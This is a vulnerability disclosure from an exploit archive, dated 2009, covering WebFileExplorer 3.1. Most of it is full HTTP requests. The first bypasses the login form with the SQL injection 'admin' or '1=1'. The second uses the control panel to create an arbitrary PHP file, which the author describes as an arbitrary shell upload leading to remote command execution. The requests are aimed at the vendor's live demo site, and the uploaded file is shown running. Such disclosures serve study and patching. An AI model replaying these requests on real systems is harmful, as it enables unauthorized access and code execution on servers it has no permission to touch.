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Copy pathWebFileExplorer 3.1 - Authentication Bypass.txt
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WebFileExplorer 3.1 - Authentication Bypass.txt
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Product Name: WebFileExplorer
Version : 3.1
URL : http://www.webfileexplorer.com/
Price : 99 $ USD
Credits to : Giovanni Buzzin, "Osirys"
osirys[at]autistici[dot]org
WebFileExplorer v3.1, is prone to multiple vulnerabilities. At first, an attacker can inject his evil sql code
in the login form, bypassing it, he just needs to know the nick of an existent username to login as him.
Live Exploiting: http://www.webfileexplorer.com/userdemo/
Headers:
http://www.webfileexplorer.com/userdemo/body.asp
POST /userdemo/body.asp HTTP/1.1
Host: www.webfileexplorer.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.webfileexplorer.com/userdemo/body.asp
Cookie: ASPSESSIONIDSCQCBDQR=CDMBDPMCINOGGDFHIFOJOLGL
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
login_name=&dologin=yes&id=admin%27+or+%271%3D1&pwd=osirysp0wa&B1=Login
Sending this request a remote attacker is able to bypass the login form.
The sql injection used is: admin%27+or+%271%3D1
so : admin' or '1=1
Once the attacker logged in, from the Control Panel he's able to do a lot of things, upload all file of any
extension, create files of any type, and so on. So this normal Authority Bypass can become a dangerous
Arbitrary Shell Upload, so kinda of Remote Command Execution.
Headers:
http://www.webfileexplorer.com/userdemo/body.asp?action=savefile&path=/admindemo/demo/er
POST /userdemo/body.asp?action=savefile&path=/admindemo/demo/er HTTP/1.1
Host: www.webfileexplorer.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.webfileexplorer.com/userdemo/body.asp?action=newfile
Cookie: ASPSESSIONIDSCQCBDQR=CDMBDPMCINOGGDFHIFOJOLGL; ControlPan=max; fileoptions=max; folderoptions=max; SearchBoxStat=max; FoldersTree=off
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
file=test_.php&newfilestuff=%3C%3Fphp+echo+%22I%27m+horn%3Cbr%3E%22%3B+%3F%3E&submit=create+file
Let's see now, the response of the created file:
osirys[~]>$ perl asd.txt http://www.webfileexplorer.com/admindemo/demo/er/test_.php I'm horn<br>
osirys[~]>$
Game Over.
# milw0rm.com [2009-04-09]